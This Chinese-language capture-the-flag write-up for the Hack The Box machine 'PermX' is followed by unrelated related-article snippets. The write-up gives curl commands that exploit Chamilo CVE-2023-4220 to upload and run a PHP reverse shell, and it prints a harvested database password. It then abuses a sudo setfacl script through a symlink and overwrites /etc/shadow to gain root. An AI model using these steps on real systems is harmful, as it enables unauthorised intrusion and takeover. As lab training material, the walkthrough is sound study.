htb_PermX

news2024/11/16 3:48:57

PermX

在这里插入图片描述

端口开放

80,22

在这里插入图片描述

子域名扫描

ffuf  -u 'http://permx.htb' -H 'host: FUZZ.permx.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all

www lms

在这里插入图片描述

访问lms.permx.htb

chamilo

在这里插入图片描述

查找cve

CVE-2023-4220

Chamilo LMS 未经身份验证的大上传文件远程代码执行

在这里插入图片描述

访问/main/inc/lib/javascript/bigupload/inc/bigUpload.php文件,没有报错,证明文件目录存在

在这里插入图片描述

参照文章中的exp利用漏洞

先编写一个php反弹shell,命名为rce.php
$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

在这里插入图片描述

在这里插入图片描述

监听端口,收到反弹shell

在这里插入图片描述

查看用户目录

mtz

在这里插入图片描述

/var/www/chamilo/app/config目录下发现一个配置文件

在这里插入图片描述

查找文件中关键词

cat configuration.php|grep -n password

发现有数据库密码

在这里插入图片描述

在这里插入图片描述

$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

网络端口确实开放了3306

在这里插入图片描述

但是我没有在mysql数据库中找到有用信息

尝试使用数据库密码登录mtz用户

在这里插入图片描述

sudo -l 提权

在这里插入图片描述

该脚本接受三个参数user(用户名),perm(权限),target(路径)

若路径下文件满足在/home/mtz目录下且路径中不含… ,则修改文件ACL权限(r,rw等)

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

我们希望获得root权限,则可以通过修改root密码实现登录root用户

root密码位于/etc/shadow文件下,但该文件只能由root修改

因此可将/(根目录)软链接到/home/mtz目录的cc下,则可以通过访问/home/mtz/cc访问到根目录,以此修改根目录下shadow文件权限,实现由mtz用户修改root密码

ln -s / cc

在这里插入图片描述

在这里插入图片描述

sudo /opt/acl.sh mtz  rwx  /home/mtz/cc/etc/shadow

在攻击机上使用openssl生成新的root密码,按照格式组装

openssl passwd -6  cccc

在这里插入图片描述

echo 'root:$6$zItjgPBsySOyqydY$k7pnxyH.edxes/IbLKnZO9pYbb0/bH9RRs5h6haM/UtBRKLvAJ217VNPPn1NKEAl5ikuCe93BdgxNd2gWHl2E.:19871:0:99999:7:::'  > /home/mtz/cc/etc/shadow

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1920320.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录算法训练营第三十一天|动态规划:01背包理论基础、01背包理论基础(滚动数组)

动态规划:01背包理论基础 1. dp[i][j]: 表示0到i个物品放入容量为j的背包中,价值总和最大是多少 2. dp[i][j]的状态取决于,第i个物品要不要放入这个背包。 不放物品i:dp[i-1][j] (其实就是当物品i的重量大于背包j的重量时&…

Golang | Leetcode Golang题解之第229题多数元素II

题目: 题解: func majorityElement(nums []int) (ans []int) {cnt : map[int]int{}for _, v : range nums {cnt[v]}for v, c : range cnt {if c > len(nums)/3 {ans append(ans, v)}}return }

Mediapipe-姿态估计实例

Mediapipe简介 Mediapipe 是由 Google Research 开发的一款开源框架,旨在帮助开发者轻松地构建、测试和部署复杂的多模态、多任务的机器学习模型。它特别擅长于实时处理和分析音频、视频等多媒体数据。以下是 Mediapipe 的一些关键特点和组件: 关键特点…

【Unity2D 2022:UI】制作主菜单

一、创建主菜单游戏场景 1. 在Scenes文件夹中新建一个游戏场景Main Menu 2. 为场景添加背景 (1)创建画布Canvas (2)在Canvas中创建新的空游戏物体Main Menu (3)在Main Menu中新建一个图像游戏物体Backgrou…

Java项目中,常用的SQL语句

常用的命令: 1.数据的增删改查 1.插入数据(进行注册) 语法 1: --第一种: INSERT INTO 表名(列名 1,列名 2, …) ; insert into tablename(member1,member3) valuse(,); --第二种: INSERT INTO 表名 VALUES(值 1,值 …

Linux工具篇:yum

前言: 目录 前言: Linux 软件包管理器 yum yum是什么? 什么是软件包? Linux系统(centos)的生态: 那我的yum是怎么找到对应的软件呢? 关于 rzsz yum查看软件包(安装…

Python task

def wordcount(text):# 将文本分割成单词列表,并转换为小写words text.lower().split()# 初始化一个空字典用于存储单词计数word_counts {}# 遍历单词列表中的每个单词for word in words:# 如果单词在字典中,则计数加1,否则将单词加入字典并…

配置sublime的中的C++编译器(.sublime-build),实现C++20在sublime中的使用,小白教程

一,前期准备 首先我们需要准备一下 C 环境,当然如果你觉得你当前的C环境配置好了,并且C的版本也能完成您日常的使用需求,您可以使用下面两条命令对C的版本进行查询 g -vg --version通过返回的版本简单的判断是否能解决您的需求&…

Delta的最新更新可让iPad用户同时模拟多款游戏

Delta iOS 应用程序发布了一个更新,引入了复古 游戏模拟器重新设计的标识,以及原生 iPad 支持,允许用户同时玩多个 游戏。 据 Delta 开发者 Riley Testut 称,欧盟用户可以立即通过AltStore PAL 下载更新,但其他用户则需…

Tomcat多实例

一、Tomcat多实例 Tomcat多实例是指在同一台服务器上运行多个独立的tomcat实例,每个tomcat实例都具有独立的配置文件、日志文件、应用程序和端口,通过配置不同的端口和文件目录,可以实现同时运行多个独立的Tomcat服务器,每个服务…

成为编程大佬!!----->数据结构与算法(2)——顺序表!!

前言:线性表是数据结构与算法的重中之重,所有具有线性逻辑结构的数据结构,都能称为线性表。这篇文章我们先来讨论线性表中的顺序表,顺序表和线性表都是后续实现栈,树,串和图等等结构的重要基础。 目录 ❀简…

YOLOv10改进 | 主干/Backbone篇 | 轻量级网络ShuffleNetV1(附代码+修改教程)

一、本文内容 本文给大家带来的改进内容是ShuffleNetV1,这是一种为移动设备设计的高效CNN架构。它通过使用点群卷积和通道混洗等操作,减少了计算成本,同时保持了准确性,通过这些技术,ShuffleNet在降低计算复杂度的同时…

yolov8、RTDETR无法使用多个GPU训练

yolov8、RTDETR无法使用多个GPU训练 网上看了好多解决方法: 什么命令行 CUDA_VISIBLE_DEVICES0,1 python train.py 环境变量都不行 最后找到解决方案:在ultralytics/engine/trainer.py 中的第246行 将 self.model DDP(self.model, device_ids[RANK])…

Web 应用程序开发的前沿:2024 年会发生什么??

Web 应用程序开发是发展最快的领域之一,令人印象深刻地改变了网络空间的给定面貌。 随着我们进入 2024 年,许多进步趋势和技术正在出现,它们整合了开发人员和商人探索他们才能的新领域。 这篇博客将介绍有关创建 Web 应用程序的最新趋势的想法…

记一次若依框架和Springboot常见报错的实战漏洞挖掘

目录 前言 本次测实战利用图​ 1.判段系统框架 2.登录页面功能点测试 2.1 弱口令 2.2 webpack泄露信息判断 2.3 未授权接口信息发现 3.进一步测试发现新的若依测试点 3.1 默认弱口令 3.2 历史漏洞 4.访问8080端口发现spring经典爆粗 4.1 druid弱口令 4.2 SwaggerU…

牛顿力学和拉格朗日力学求解atwood machine问题对比

一个半径为 R R R、转动惯量为 I I I 的圆盘。绳子与圆盘无滑动,质量 m 2 m_2 m2​ 的物体在重力 g g g 作用下下坠,带动质量 m 1 m_1 m1​ 的物体上升。求 m 1 m_1 m1​和 m 2 m_2 m2​ 的加速度 a a a。 牛顿力学方法 对质量 m 1 m_1 m1​ 和 …

攻防世界(PHP过滤器过滤)file_include

转换过滤器官方文档:https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv 这道题因为convert.base64-encode被过滤掉了,所以使用convert.iconv.*过滤器 在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器, 等…

Jmeter多用户登录操作实战

在使用Jmeter性能测试时,首先要解决的问题恐怕就会并发压测和多用登录的问题.今天就一篇文章讲清楚这两个问题的解决方案: 一.多并发压测如何配置线程? (1)同时并发:设置线程组、执行时间、循环次数,这种方式可以控制接口请求的…

Axure-黑马

Axure-黑马 编辑时间2024/7/12 来源:B站黑马程序员 需求其他根据:visio,墨刀 Axure介绍 Axure RP是美国Axure Software Solution给公司出品的一款快速原型大的软件,一般来说使用者会称他为Axure 应用场景 拉投资使用 给项目团…

(自用)高并发实现高效内存管理

高并发下传统方式的弊端 C语言常用的内存操作函数 C下采用new进行内存分配,delete进行内存释放。 弊端一 分配内存需要进入内核态,总分配大小不变的情况下,多次分配较小的内存导致了变态频繁,降低系统效率. 弊端二 弊端三 情形…